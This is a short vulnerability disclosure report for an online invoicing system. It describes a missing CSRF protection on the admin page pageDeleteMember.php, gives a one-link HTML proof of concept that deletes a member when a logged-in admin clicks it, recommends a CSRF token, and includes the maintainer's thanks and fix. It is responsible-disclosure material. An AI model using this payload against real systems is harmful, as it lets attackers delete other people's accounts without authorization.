Jun 27th 2021

✍️ Description

The /app/admin/pageDeleteMember.php?memberID=<x> does not have a CSRF protection. This could be used by attackers to trick the admin to delete a member from their invoice system.

🕵️‍♂️ Proof of Concept

For this attack to work, a logged in admin, should visit the POC page.

<html>
<body>
<a href="http://<host>/online-invoicing-system-4.8/app/admin/pageDeleteMember.php?memberID=<account_id>">Click Here !</a>
</body>
</html>

When a logged in user clicks the link a member is deleted.

Fix

Introduce a CSRF token in the request.

Thanks for the responsible disclosure. I also found that the same issue affected admin/pageDeleteRecord.php and fixed it as well.
